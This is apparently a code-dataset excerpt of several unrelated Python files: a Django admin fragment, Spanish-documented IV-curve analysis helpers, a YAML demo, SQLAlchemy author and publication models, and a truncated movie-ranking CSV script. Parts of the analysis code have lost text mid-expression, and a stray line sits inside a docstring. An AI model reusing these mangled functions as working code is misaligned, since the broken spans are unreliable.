SearchExport.ExportStatusOptions.COMPLETE:\n self.message_user(\n request,\n f\"Could not set row count of {export}, export is not complete.\",\n level=messages.WARNING,\n )\n continue\n if export.rows_uploaded > 0:\n self.message_user(\n request, f\"{export} row count already set.\", level=messages.INFO,\n )\n continue\n row_count = 0\n for _ in export.generate_csv_rows():\n row_count += 1\n export.rows_uploaded = row_count\n export.save()\n self.message_user(\n request, f\"Set row count of {export}.\", level=messages.SUCCESS,\n )\n\n\n@admin.register(ScrollSearch)\nclass ScrollSearchAdmin(ActionsModelAdmin):\n fields = (\n \"scroll_key\",\n \"scroll_key_modified\",\n \"page_size\",\n \"query_hash\",\n \"total\",\n \"query_serialized\",\n )\n readonly_fields = fields\n\n def has_add_permission(self, request, obj=None):\n return False\n\n def query_serialized(self, obj):\n return obj.query.serialize()\n\n query_serialized.short_description = \"query\"\n\n\n@admin.register(FilterValueList)\nclass FilterValueListAdmin(ActionsModelAdmin):\n fields = (\n \"name\",\n \"description\",\n \"type\",\n \"tags\",\n \"values\",\n \"billing_seat\",\n )\n","sub_path":"whoweb/search/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":12985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"613141633","text":"from __future__ import division\nimport numpy as np\nfrom scipy.odr import Model, RealData, ODR\nimport scipy.stats as stats\n\ndef R_Rq(path, tolerancia):\n \"\"\"\n Calcula la resistencia de quenching y la temperatura (escrita en funcion de la\n resistencia que mide T) de un conjunto de mediciones, haciendo estadistica sobre los\n datos. \n Es decir, si mido muchas curvas IV para una dada T, guardo las mediciones en una carpeta\n que contenga: una carpeta '/iv/' que contenga las curvas '/i (iv).txt' y otra carpeta\n '/res/' que contenga las resistencias '/i (res).txt'.\n Esta funcion va a calcular la Rq y la T para cada par (iv, res), y luego va a realizar\n un promedio pesado sobre las Rq y las T, devolviendo dichos parametros con sus errores.\n La funcion se va a encargar de filtrar aquellas mediciones en que la temperatura\n fluctuo mas que la tolerancia deseada, utilizando al funcion pulidor(). La tolerancia\n tipica es de 0.025 para mediciones estacionarias en T.\n El path de la funcion debe ser la carpeta donde se encuentren las carpetas iv y res.\n\n La funcion asume que la temperatura se midio con una RTD, sourceando corriente y\n midiendo voltaje.\n \n Input: (path, tolerancia) [string, float] \n \n Returns: (R, R_err, Rq, Rq_err, chi2_out, array) [float, float, float, float, float, list]\n .\n .\n \"\"\"\n array = pulidor(tolerancia, path)\n celdas = 18980\n R = []\n R_err = []\n Rq = []\n Rq_err = []\n chi2_out = []\n for i in array:\n data1 = np.loadtxt(path+'/res/%s (res).txt' % i, skiprows=1)\n Res = data1[:, 1] \n I = data1[:, 2]\n V = I*Res\n V_err = error_V(V, source = False)\n I_err = error_I(I, source = True)\n Res_err_estadistico = dispersion(Res) \n Res_err_sistematico = [np.sqrt((1/I[i]**2) * V_err[i]**2 + ((V[i]/(I[i]**2))**2)*I_err[i]**2) for i in range(len(I))]\n Res_err = [np.sqrt(Res_err_estadistico**2 + Res_err_sistematico[i]**2) for i in range(len(Res_err_sistematico))]\n R.append(weightedMean(Res, Res_err))\n R_err.append(weightedError(Res, Res_err))\n data2 = np.loadtxt(path+'/iv/%s (iv).txt' % i)\n V = data2[:, 0]\n I = data2[:, 1]\n dI = error_I(I)\n dV = error_V(V)\n\n chi2 = []\n Rq_err_temp = []\n m = []\n for j in range(0, len(V) - 2):\n V_temp = V[j:]\n I_temp = I[j:]\n dI_temp = dI[j:]\n dV_temp = dV[j:]\n\n linear_model = Model(Linear)\n data = RealData(V_temp, I_temp, sx=dV_temp, sy=dI_temp)\n odr = ODR(data, linear_model, beta0=[0., 1.])\n out = odr.run()\n \n m_temp = out.beta[0]\n #b_temp = out.beta[1]\n m_err_temp = out.sd_beta[0]\n \n m.append(m_temp)\n chi2.append(out.res_var)\n Rq_err_temp.append((celdas/m_temp**2) * m_err_temp)\n index = ClosestToOne(chi2)\n Rq.append(celdas/m[index])\n chi2_out.append(chi2[index])\n Rq_err.append(Rq_err_temp[index])\n return R, R_err, Rq, Rq_err, chi2_out, array\n\n\ndef error_I(y, SMU, source = False):\n \"\"\"\n Esta funcion esta diseniada para crear un array con los errores de la corriente \n medida o sourceada por un Kiethley 2611B, 2612B, 2614B.\n La funcion toma una lista que tiene la corriente, y un boolean que indica si la \n corriente fue medida o sourceada.\n \n Input: (I, source = False)\n \n Si no se especifica el source, entonc\n I_led_temp_1 = I_led[1:int(len(I_led)/2)]es la corriente fue medida. Si source = True,\n entonces se sourceo con corriente.\n \n Returns: I_err (list)\n .\n .\n \"\"\"\n if SMU == '2612':\n I_temp= y\n temp = []\n percentage = 0\n offset = 0\n if source == True:\n for i in range(0, len(I_temp)):\n if I_temp[i] <= 100*pow(10, -9):\n percentage = 0.0006\n offset = 100*pow(10, -12)\n elif 100*pow(10, -9) < I_temp[i] and I_temp[i] <= 1*pow(10, -6):\n percentage = 0.0003\n offset = 800*pow(10, -12) \n elif 1*pow(10, -6) 0.03\n \n Input: (tolerancia, path)\n \n Returns: list\n .\n .\n \"\"\"\n filtro = []\n i = 0\n while True:\n try:\n i = i+1\n data = np.loadtxt(path + '/res/%s (res).txt' % i, skiprows=1)\n Res = data[:, 1]\n if dispersion(Res) <= tolerancia:\n filtro.append(i)\n except IOError:\n break\n return filtro\n \ndef ClosestToOne(v):\n \"\"\"\n Esta funcion toma una lista, y devuelve el indice del elemento mas cercano a 1 de \n la lista.\n \n Input: list\n \n Returns: int (index)\n .\n .\n \"\"\"\n compliance = []\n for j in range(0, len(v)):\n compliance.append(abs(v[j] - 1))\n return compliance.index(np.min(compliance))\n\ndef promediar_puntos(eje_x, eje_y, p):\n \"\"\"\n Promediador de puntos para un grafico. Toma un eje X y un eje Y, y promedia cada p\n puntos. Sirve para smoothear mediciones muy ruidosas y densas.\n \n Input: (X, Y, p) [list, list, int]\n\n Returns: (X_promediado, Y_promediado) [list, list]\n .\n .\n \"\"\"\n array_promediado = []\n array_tiempo_promediado = []\n array1 = eje_y\n array2 = eje_x\n for j in range(int(len(array1)/p)):\n total = 0 \n total_tiempo = 0\n for i in range(p):\n total += array1[j * p + i] / float(p)\n total_tiempo += array2[j * p + i] / float(p)\n array_promediado.append(total)\n array_tiempo_promediado.append(total_tiempo)\n return array_promediado, array_tiempo_promediado\n\n\ndef DerivateData(V, V_err, I, I_err):\n \"\"\"\n Derivador numerico de datos.\n \n Input: (X, X_err, Y, Y_err) lists\n \n Returns: (dX, dX_err, dY, dY_err) lists\n \"\"\"\n V_temp = []\n I_temp = []\n V_err_temp = []\n I_err_temp = []\n step = V[2] - V[1]\n for i in range(len(I)-1):\n I_temp.append((I[i + 1] - I[i - 1])/(2*step))\n V_temp.append(V[i])\n I_err_temp.append(((I_err[i + 1] - I_err[i - 1])/(2*step))**2)\n V_err_temp.append(V_err[i])\n return V_temp, V_err_temp, I_temp, I_err_temp\n\n\ndef Smooth(V, V_err, I, I_err, degree):\n V_temp = []\n I_temp = []\n V_err_temp = []\n I_err_temp = []\n threshold = 0\n for i in range(len(I)-1):\n if abs(I[i+1]-I[i])> threshold:\n threshold = I[i] \n for i in range(len(I)-1):\n if not abs(I[i + 1] - I[i]) > (threshold/2) or abs(I[i] - I[i - 1]) > (threshold / 2):\n V_temp.append(V[i])\n I_temp.append(I[i])\n V_err_temp.append(V_err[i])\n I_err_temp.append(I_err[i])\n return V, V_err, I, I_err\n\ndef Linear(M, x):\n \"\"\"\n Funcion lineal para ajustar con el ODR:\n \n >>> linear_model = Model(Linear)\n >>> data = RealData(X, Y, sx=X_err, sy=Y_err)\n >>> odr = ODR(data, linear_model, beta0=[0., 1.])\n >>> out = odr.run()\n \n >>> m = out.beta[0]\n >>> b = out.beta[1]\n >>> m_err = out.sd_beta[0]\n >>> b_err = out.sd_beta[1] \n >>> chi2 = out.res_var\n .\n .\n \"\"\"\n m, b = M\n return m*x + b\n\ndef weightedMean(measurements, weights):\n \"\"\"\n Devuelve el promedio pesado de una muestra con sus respectivos errores.\n \n Input: (X, X_err) lists\n \n Returns: float\n .\n .\n \"\"\"\n wTotal = np.mean([1/i**2 for i in weights])\n mwTotal = 0\n mean = 0 \n# for i in range(0, len(weights)):\n# wTotal += (1 / weights[i]**2)\n for i in range(0, len(measurements)):\n mwTotal += measurements[i]*(1/weights[i]**2)\n mean = mwTotal / wTotal \n return mean\n\ndef weightedError(measurements, weights):\n \"\"\"\n A chequear\n \"\"\"\n wTotal = 0\n weights = np.asarray(weights)\n for i in range(0, len(weights)):\n wTotal += 1 / weights[i]**2\n return (1/wTotal)\n\ndef weightedErrorR(measurements, weights):\n \"\"\"\n A chequear\n \"\"\"\n wTotal = 0\n for i in range(0, len(weights)):\n wTotal += 1 / weights[i]**2\n Rmean = weightedMean(measurements, weights)\n I = 0.0001\n V = I*Rmean\n V_err = V*0.00015 + 0.000225\n I_err = I*0.0003 + 0.00000006\n return np.sqrt(1/wTotal**2 + ((1/I)**2 * V_err**2 + (V/(I**2))**2 * I_err**2))\n\n\ndef ks_iterative(x, y, x_err, y_err, Foward = True):\n \"\"\"\n Esta funcion agarra un eje X (k), un eje Y (k_nn) y busca los parametros para\n ajustar la mejor recta, buscando el regimen lineal de la curva. Esto lo hace\n sacando puntos de la curva, ajustando la curva resultante, y luego comparando \n los parametros de los distintos ajustes con el metodo de Kolmogorov Smirnoff.\n \n Si Foward=True entonces la funcion va a ir sacando puntos del final para\n encontrar kmax. Si Foward=False, la funcion va a sacar puntos del principio para\n calcular kmin. El punto va a estar dado por k[index].\n \n Returns: m, b, ks_stat, index\n \n m: pendiente de la recta resultante\n b: ordenada de la recta resultante\n ks_stat: estadistico de KS de la recta resultante\n index: indice del elemento donde empieza/termina el regimen lineal.\n .\n .\n \"\"\"\n KS_list = []\n pvalue_list = []\n m_list = []\n b_list = []\n m_err_list = []\n b_err_list = []\n if Foward==True:\n for j in range(0, len(x)-3):\n y_temp = y[:len(y)-j]\n x_temp = x[:len(x)-j]\n x_err_temp = x_err[:len(x_err)-j]\n y_err_temp = y_err[:len(y_err)-j]\n linear_model = Model(Linear)\n data = RealData(x_temp, y_temp, sx=x_err_temp, sy=y_err_temp)\n odr = ODR(data, linear_model, beta0=[0., 1.])\n out = odr.run()\n modelo = [j*out.beta[0]+out.beta[1] for j in x_temp]\n KS_list.append(stats.ks_2samp(y_temp, modelo)[0])\n pvalue_list.append(stats.ks_2samp(y_temp, modelo)[1])\n m_list.append(out.beta[0])\n b_list.append(out.beta[1])\n m_err_list.append(out.sd_beta[0])\n b_err_list.append(out.sd_beta[1])\n else:\n for j in range(0, len(x)-3):\n y_temp = y[:len(y)-j]\n x_temp = x[:len(x)-j]\n x_err_temp = x_err[:len(x_err)-j]\n y_err_temp = y_err[:len(y_err)-j]\n linear_model = Model(Linear)\n data = RealData(x_temp, y_temp, sx=x_err_temp, sy=y_err_temp)\n odr = ODR(data, linear_model, beta0=[0., 1.])\n out = odr.run()\n modelo = [j*out.beta[0]+out.beta[1] for j in x_temp]\n KS_list.append(stats.ks_2samp(y_temp, modelo)[0])\n pvalue_list.append(stats.ks_2samp(y_temp, modelo)[1])\n m_list.append(out.beta[0])\n b_list.append(out.beta[1])\n m_err_list.append(out.sd_beta[0])\n b_err_list.append(out.sd_beta[1])\n index = KS_list.index(min(KS_list))\n m = m_list[index]\n b = b_list[index]\n m_err = m_err_list[index]\n b_err = b_err_list[index]\n ks_stat = KS_list[index]\n \n return m, b, m_err, b_err, ks_stat, index\n\ndef promediador_grupos(path, tolerancia, punto_a_punto = True):\n \"\"\"\n Esta funcion toma una carpeta con mediciones de curvas IV a una dada temperatura,\n y promedia punto a punto las curvas.\n Por otro lado, esta la opcion de promediar punto a punto las resistencias medidas\n o promediar la resistencia promedio de todas las curvas.\n La funcion se va a encargar de filtrar aquellas mediciones en que la temperatura\n fluctuo mas que la tolerancia deseada, utilizando al funcion pulidor(). La tolerancia\n tipica es de 0.025 para mediciones estacionarias en T.\n El path de la funcion debe ser la carpeta donde se encuentren las carpetas iv y res.\n\n La funcion asume que la temperatura se midio con una RTD, sourceando corriente y\n midiendo voltaje.\n \n Input: (path, tolerancia) [string, float] \n \n Returns: (V_promedio, I_promedio, R_promedio, R_err_promedio) lists\n .\n .\n \"\"\"\n array = pulidor(tolerancia, path)\n R = []\n R_err = []\n I = []\n V = []\n if punto_a_punto == True:\n for h in array:\n data = np.loadtxt(path+'/res/%s (res).txt' % h, skiprows=1) \n Res = data[:, 1] \n I = data[:, 2]\n V = I*Res\n V_err = error_V(V, source = False)\n I_err = error_I(I, source = True)\n Res_err_estadistico = dispersion(Res) \n Res_err_sistematico = np.sqrt((1/I**2) * V_err**2 + ((V/(I**2))**2)*I_err**2)\n Res_err = np.sqrt(Res_err_estadistico**2 + Res_err_sistematico**2) \n R.append(list(Res))\n R_err.append(list(Res_err))\n R_promedio = []\n for i in range(len(R[1])):\n c = 0\n for j in range(len(R)):\n c += R[j][i] \n R_promedio.append(c/len(R))\n R_err_promedio = []\n for i in range(len(R_err[1])):\n c = 0\n for j in range(len(R_err)):\n c += R_err[j][i] \n R_err_promedio.append(c/len(R_err))\n else:\n for h in array:\n data = np.loadtxt(path+'/res/%s (res).txt' % h, skiprows=1)\n Res = data[:, 1] \n I = data[:, 2]\n V = I*Res\n V_err = error_V(V, source = False)\n I_err = error_I(I, source = True)\n Res_err_estadistico = dispersion(Res) \n Res_err_sistematico = np.sqrt((1/I**2) * V_err**2 + ((V/(I**2))**2)*I_err**2)\n Res_err = np.sqrt(Res_err_estadistico**2 + Res_err_sistematico**2)\n R.append(weightedMean(Res, Res_err))\n R_err.append(weightedError(Res, Res_err))\n data2 = np.loadtxt(path+'/iv/%s (iv).txt' % h, skiprows=1)\n V.append(list(data2[:, 0]))\n I.append(list(data2[:, 1]))\n R_promedio = weightedMean(R, R_err)\n R_err_promedio = weightedError(R, R_err)\n \n I_promedio = []\n for i in range(len(I[1])):\n c = 0\n for j in range(len(I)):\n c += I[j][i] \n I_promedio.append(c/len(I))\n \n V_promedio = [] \n for i in range(len(V[1])):\n c = 0\n for j in range(len(V)):\n c += V[j][i]\n V_promedio.append(c/len(V))\n \n return V_promedio, I_promedio, R_promedio, R_err_promedio\n\n\ndef error_R(R, I_source):\n V = [i*I_source for i in R]\n V_err = error_V(V, '2612', source = False)\n I_err = I_source * 0.0003 + 60*pow(10, -9)\n dr = [np.sqrt((1 / I_source)**2 * V_err[i]**2 + \n (V[i] / I_source**2)**2 * I_err**2) \n for i in range(len(R))]\n return dr","sub_path":"Codigos/Funciones.py","file_name":"Funciones.py","file_ext":"py","file_size_in_byte":25007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"421957815","text":"#-*-coding:utf-8-*-\n#@作者:haiyu.ma\n#@创建日期:2020-07-05 23:26 \nimport yaml\n\n# 1.打开yaml文件\nfs = open(\"demo.yaml\")\n# 2.转换成python对象\n# yaml.load(fs)\nres = yaml.load(fs, Loader=yaml.FullLoader)\nprint(res)","sub_path":"AppAutomation/AppFramework/Desired_Caps/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"51906397","text":"from main import db\n\nfrom sqlalchemy.ext.declarative import declarative_base\n\nBase = declarative_base()\n\ncoauthors = db.Table('coauthor',\n db.Column('author_id', db.Integer,\n db.ForeignKey('author.id')),\n db.Column('coauthor_id', db.Integer,\n db.ForeignKey('author.id'))\n)\n\nauthor_publications = db.Table('author_publication',\n db.Column('author_id', db.Integer,\n db.ForeignKey('author.id')),\n db.Column('publication_id', db.Integer,\n db.ForeignKey('publication.id'))\n)\n\nclass Author(db.Model):\n \"\"\"\n A class that represents authors.\n \"\"\"\n\n __tablename__ = 'author'\n \"\"\"\n The name of the table where authors are stored.\n \"\"\"\n\n id = db.Column(db.Integer, primary_key = True, autoincrement = True)\n \"\"\"\n The ID of the author.\n \"\"\"\n\n name = db.Column(db.String(256), nullable = False)\n \"\"\"\n The name of the author.\n \"\"\"\n\n title = db.Column(db.String(256), nullable = True)\n \"\"\"\n The title (e.g. associate professor) of the author.\n \"\"\"\n\n organization_id = db.Column(db.Integer, db.ForeignKey('organization.id'), nullable = True)\n \"\"\"\n The ID of the organization where the author belongs.\n \"\"\"\n\n organization = db.relation('Organization', foreign_keys=[organization_id], backref = \"authors\")\n \"\"\"\n The organization where the author belongs.\n \"\"\"\n\n year_of_phd = db.Column(db.Integer, nullable = True)\n \"\"\"\n The year when the author received his/her Ph.D.\n \"\"\"\n\n tenured = db.Column(db.Boolean, nullable = True)\n \"\"\"\n Whether the author is tenured.\n \"\"\"\n\n scholar_id = db.Column(db.String(64), nullable = True, unique = True)\n \"\"\"\n The ID of the author in Google Scholar.\n \"\"\"\n\n website_url = db.Column(db.String(256), nullable = True)\n \"\"\"\n The URL of the website of the author.\n \"\"\"\n\n email_domain = db.Column(db.String(256), nullable = True)\n \"\"\"\n The domain of the email of the author.\n \"\"\"\n\n total_citations = db.Column(db.Integer, nullable = True)\n \"\"\"\n The total citations for the author.\n \"\"\"\n\n h_index = db.Column(db.Numeric(precision = 10, scale = 2), nullable = True)\n \"\"\"\n The value of the h-index metric for the author.\n \"\"\"\n\n i10_index = db.Column(db.Numeric(precision = 10, scale = 2), nullable = True)\n \"\"\"\n The value of the i10-index metric for the author.\n \"\"\"\n\n retrieved_at = db.Column(db.DateTime, nullable = True)\n \"\"\"\n The date and time when information about the author was last retrieved \n from Google Scholar.\n \"\"\"\n\n coauthors = db.relationship(\"Author\", secondary = coauthors,\n primaryjoin = id == coauthors.c.author_id,\n secondaryjoin = id == coauthors.c.coauthor_id)\n \"\"\"\n The co-authors of the author.\n \"\"\"\n\n publications = db.relationship(\"Publication\",\n secondary = author_publications,\n backref = \"authors\")\n \"\"\"\n The publications of the author.\n \"\"\"\n\n citations_per_year = db.relationship(\"AuthorCitationsPerYear\",\n cascade=\"all, delete-orphan\")\n \"\"\"\n The citations per year for the author.\n \"\"\"\n\n def organization_tree(self):\n \"\"\"\n Gets the names of the organization, where the author belongs, and all\n its ancestors (starting from the root of the family tree) separated with\n ' :: '.\n \"\"\"\n if not self.organization:\n return ''\n organizations = [ self.organization ]\n organizations.extend(self.organization.ancestors())\n return ' :: '.join([ a.name for a in reversed(organizations) ])\n\n def organization_ids(self):\n \"\"\"\n Gets the ID's of the organization, where the author belongs, and all\n its ancestors (starting from the root of the family tree).\n \"\"\"\n if not self.organization:\n return []\n organizations = [ self.organization ]\n organizations.extend(self.organization.ancestors())\n return [ a.id for a in reversed(organizations) ]\n\nclass AuthorCitationsPerYear(db.Model):\n \"\"\"\n A class that represents the citations for authors per year.\n \"\"\"\n\n __tablename__ = 'author_citations_per_year'\n \"\"\"\n The name of the table where citations per year are stored.\n \"\"\"\n\n author_id = db.Column(db.Integer, db.ForeignKey('author.id'), primary_key = True)\n \"\"\"\n The ID of the author.\n \"\"\"\n\n author = db.relation('Author')\n \"\"\"\n The author.\n \"\"\"\n\n year = db.Column(db.Integer, primary_key = True)\n \"\"\"\n The year.\n \"\"\"\n\n citations = db.Column(db.Integer, nullable = False)\n \"\"\"\n The citations for the author in the year.\n \"\"\"\n\nclass Organization(db.Model):\n \"\"\"\n A class that represents organizations (e.g. universities, schools,\n departments).\n \"\"\"\n\n __tablename__ = 'organization'\n \"\"\"\n The name of the table where organizations are stored.\n \"\"\"\n\n id = db.Column(db.Integer, primary_key = True, autoincrement = True)\n \"\"\"\n The ID of the organization.\n \"\"\"\n\n name = db.Column(db.String(256), nullable = False)\n \"\"\"\n The name of the organization.\n \"\"\"\n\n parent_id = db.Column(db.Integer, db.ForeignKey('organization.id'), nullable = True)\n \"\"\"\n The ID of the parent organization.\n \"\"\"\n\n parent = db.relation('Organization', remote_side = [id], backref = \"children\")\n \"\"\"\n The parent organization.\n \"\"\"\n\n location = db.Column(db.String(256), nullable = True)\n \"\"\"\n The location of the organization.\n \"\"\"\n\n website_url = db.Column(db.String(256), nullable = True)\n \"\"\"\n The URL of the website of the organization.\n \"\"\"\n\n children_source_url = db.Column(db.String(256), nullable = True)\n \"\"\"\n The URL where the children of the organization can be retrieved from.\n \"\"\"\n\n def children_ids(self):\n \"\"\"\n Gets the ID's of the children of the organization.\n \"\"\"\n return [ c.id for c in self.children ]\n\n def ancestors(self):\n \"\"\"\n Gets the ancestors of the organization (starting from its parent and\n ending at the root of the family tree).\n \"\"\"\n if self.parent is None:\n return []\n l = [ self.parent ]\n l.extend(self.parent.ancestors())\n return l\n\n def ancestor_ids(self):\n \"\"\"\n Gets the ID's of the ancestors of the organization (starting from its\n parent and ending at the root of the family tree).\n \"\"\"\n return [ a.id for a in self.ancestors() ]\n\n def ancestor_tree(self):\n \"\"\"\n Gets the names of the ancestors of the organization (starting from the\n root of the family tree) separated with ' :: '.\n \"\"\"\n ancestors = self.ancestors()\n if not ancestors:\n return None\n return ' :: '.join([ a.name for a in reversed(ancestors) ])\n\n def descendants(self):\n \"\"\"\n Gets the descendants of the organization (starting from its children and\n ending at the leaves of the family tree).\n \"\"\"\n if not self.children:\n return []\n l = []\n for c in self.children:\n l.append(c)\n l.extend(c.descendants())\n return l\n\n def descendant_tree(self):\n \"\"\"\n Gets the descendants of the organization as a tree (starting from the\n children).\n \"\"\"\n descendants = []\n for c in self.children:\n descendants.append({ 'id': c.id, 'name': c.name, 'children': c.descendant_tree(), 'number_of_authors': c.number_of_authors() })\n return descendants\n\n def descendant_ids(self):\n \"\"\"\n Gets the ID's of the descendants of the organization (starting from its children and\n ending at the leaves of the family tree).\n \"\"\"\n return [ d.id for d in self.descendants() ]\n\n def number_of_authors(self):\n \"\"\"\n Gets the number of the authors that belong to the organization.\n \"\"\"\n return len(self.authors);\n\nclass Publication(db.Model):\n \"\"\"\n A class that represents publications.\n \"\"\"\n\n __tablename__ = 'publication'\n \"\"\"\n The name of the table where publications are stored.\n \"\"\"\n\n id = db.Column(db.Integer, primary_key = True, autoincrement = True)\n \"\"\"\n The ID of the publication.\n \"\"\"\n\n type = db.Column(db.String(16), nullable = True)\n \"\"\"\n The type of the publication.\n \"\"\"\n\n title = db.Column(db.String(512), nullable = True)\n \"\"\"\n The title of the publication.\n \"\"\"\n\n author_names = db.Column('authors', db.String(512), nullable = True)\n \"\"\"\n The names of the authors of the publication separated with commas.\n \"\"\"\n\n scholar_id = db.Column(db.String(64), nullable = True, unique = True)\n \"\"\"\n The ID of the publication in Google Scholar.\n \"\"\"\n\n year_of_publication = db.Column(db.Integer, nullable = True)\n \"\"\"\n The year when the publication was published.\n \"\"\"\n\n total_citations = db.Column(db.Integer, nullable = True)\n \"\"\"\n The total citations for the publication.\n \"\"\"\n\n retrieved_at = db.Column(db.DateTime, nullable = True)\n \"\"\"\n The date and time when information about the publication was last retrieved\n from Google Scholar.\n \"\"\"\n\n citations_per_year = db.relationship(\"PublicationCitationsPerYear\",\n cascade=\"all, delete-orphan\")\n \"\"\"\n The citations per year for the publication.\n \"\"\"\n\nclass PublicationCitationsPerYear(db.Model):\n \"\"\"\n A class that represents the citations for publications per year.\n \"\"\"\n\n __tablename__ = 'publication_citations_per_year'\n \"\"\"\n The name of the table where citations per year are stored.\n \"\"\"\n\n publication_id = db.Column(db.Integer, db.ForeignKey('publication.id'), primary_key = True)\n \"\"\"\n The ID of the publication.\n \"\"\"\n\n publication = db.relation('Publication')\n \"\"\"\n The publication.\n \"\"\"\n\n year = db.Column(db.Integer, primary_key = True)\n \"\"\"\n The year.\n \"\"\"\n\n citations = db.Column(db.Integer, nullable = False)\n \"\"\"\n The citations for the publication in the year.\n \"\"\"\n\nfrom main import app\nfrom flask.ext.login import UserMixin\nclass User(UserMixin):\n \"\"\"\n A class that represents application users.\n \"\"\"\n\n def __init__(self, username, password):\n \"\"\"\n Constructs a user with the given username and password.\n \"\"\"\n self.id = username\n self.password = password\n\n @classmethod\n def get(cls):\n \"\"\"\n Gets the only valid application user.\n \"\"\"\n return User(app.config['BASIC_AUTH_USERNAME'], app.config['BASIC_AUTH_PASSWORD'])","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"173752928","text":"\"\"\"\n * Copyright 2020, Departamento de sistemas y Computación, Universidad de Los Andes\n * \n * Contribución de:\n *\n * Cristian Camilo Castellanos\n *\n * Desarrolado para el curso ISIS1225 - Estructuras de Datos y Algoritmos\n *\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n \"\"\"\n\n\"\"\"\n Este módulo es una aplicación básica con un menú de opciones para cargar datos, contar elementos, y hacer búsquedas sobre una lista.\n\"\"\"\n\nimport config as cf\nimport sys\nimport csv\nfrom time import process_time \n\ndef loadCSVFile (file, lst, sep=\";\"):\n \"\"\"\n Carga un archivo csv a una lista\n Args:\n file \n Archivo de texto del cual se cargaran los datos requeridos.\n lst :: []\n Lista a la cual quedaran cargados los elementos despues de la lectura del archivo.\n sep :: str\n Separador escodigo para diferenciar a los distintos elementos dentro del archivo.\n Try:\n Intenta cargar el archivo CSV a la lista que se le pasa por parametro, si encuentra algun error\n Borra la lista e informa al usuario\n Returns: None \n \"\"\"\n del lst[:]\n print(\"Cargando archivo ....\")\n t1_start = process_time() #tiempo inicial\n dialect = csv.excel()\n dialect.delimiter=sep\n try:\n with open(file, encoding=\"utf-8\") as csvfile:\n spamreader = csv.DictReader(csvfile, dialect=dialect)\n for row in spamreader: \n lst.append(row)\n except:\n del lst[:]\n print(\"Se presento un error en la carga del archivo\")\n \n t1_stop = process_time() #tiempo final\n print(\"Tiempo de ejecución \",t1_stop-t1_start,\" segundos\")\n\ndef printMenu():\n \"\"\"\n Imprime el menu de opciones\n \"\"\"\n print(\"\\nBienvenido\")\n print(\"1- Cargar Datos Movies casting\")\n print(\"2- Cargar Datos Movies details\")\n print(\"3- Saber cuantas buenas peliculas existen de un director\")\n print(\"4- Conocer las peliculas mas/menos votadas y las mejores/peores votadas\")\n print(\"0- Salir\")\n\ndef countElementsFilteredByColumn(criteria, column, lst):\n \"\"\"\n Retorna cuantos elementos coinciden con un criterio para una columna dada \n Args:\n criteria:: str\n Critero sobre el cual se va a contar la cantidad de apariciones\n column\n Columna del arreglo sobre la cual se debe realizar el conteo\n list\n Lista en la cual se realizará el conteo, debe estar inicializada\n Return:\n counter :: int\n la cantidad de veces ue aparece un elemento con el criterio definido\n \"\"\"\n if len(lst)==0:\n print(\"La lista esta vacía\") \n return 0\n else:\n t1_start = process_time() #tiempo inicial\n counter=0 #Cantidad de repeticiones\n for element in lst:\n if criteria.lower() in element[column].lower(): #filtrar por palabra clave \n counter+=1\n t1_stop = process_time() #tiempo final\n print(\"Tiempo de ejecución \",t1_stop-t1_start,\" segundos\")\n return counter\n\ndef encontrarbuenaspeliculas(director,listacasting,listadetails):\n listaid=[]\n totalcalificacion=0\n totalpeliculas=0\n \n for i in range(1,len(listacasting)):\n if listacasting[i][\"director_name\"]==director:\n listaid.append(listacasting[i][\"id\"])\n \n for i in range(1,len(listadetails)):\n if listadetails[i][\"id\"] in listaid:\n if float(listadetails[i][\"vote_average\"])>=6.0:\n totalcalificacion=totalcalificacion+float(listadetails[i][\"vote_average\"])\n totalpeliculas=totalpeliculas+1\n \n promediocalificacion=round((totalcalificacion/totalpeliculas),2)\n \n texto=\"Su numero de peliculas buenas son: \"+str(totalpeliculas)+\". Su promedio de calificacion es: \"+str(promediocalificacion)\n \n return texto\n\ndef rankingpeliculas(listadetails,masvotadas,menosvotadas,mejoresvotadas,peoresvotadas):\n listaaverage=[]\n listacount=[]\n retorno={}\n \n for i in range(1,len(listadetails)):\n listaaverage.append(listadetails[i][\"vote_average\"])\n listacount.append(listadetails[i][\"vote_count\"])\n \n if masvotadas==1:\n nombremaxcount=[]\n listacount=sorted(listacount)\n listacount=listacount[::-1]\n listamaxcount=(listacount[0:10])\n for i in range(0,len(listamaxcount)):\n for j in range(1,len(listadetails)):\n if int(listamaxcount[i])==int(listadetails[j][\"vote_count\"]) and listadetails[j][\"title\"] not in nombremaxcount and len(nombremaxcount)<10:\n nombremaxcount.append(listadetails[j][\"title\"])\n retorno[\"mas_votadas\"]=nombremaxcount\n \n if menosvotadas==1:\n nombremincount=[]\n listacount=sorted(listacount)\n listamincount=(listacount[0:10])\n for i in range(0,len(listamaxcount)):\n for j in range(1,len(listadetails)):\n if int(listamincount[i])==int(listadetails[j][\"vote_count\"]) and listadetails[j][\"title\"] not in nombremincount and len(nombremincount)<10:\n nombremincount.append(listadetails[j][\"title\"])\n retorno[\"menos_votadas\"]=nombremincount\n \n if mejoresvotadas==1:\n nombremaxaverage=[]\n listaaverage=sorted(listaaverage)\n listaaverage=listaaverage[::-1]\n listamaxaverage=(listaaverage[0:10])\n for i in range(0,len(listamaxaverage)):\n for j in range(1,len(listadetails)):\n if float(listamaxaverage[i])==float(listadetails[j][\"vote_count\"]) and listadetails[j][\"title\"] not in nombremaxaverage and len(nombremaxaverage)<10:\n nombremaxaverage.append(listadetails[j][\"title\"])\n retorno[\"mejores_votadas\"]=nombremaxaverage\n \n if peoresvotadas==1:\n nombreminaverage=[]\n listaaverage=sorted(listaaverage)\n listaminaverage=(listaaverage[0:10])\n for i in 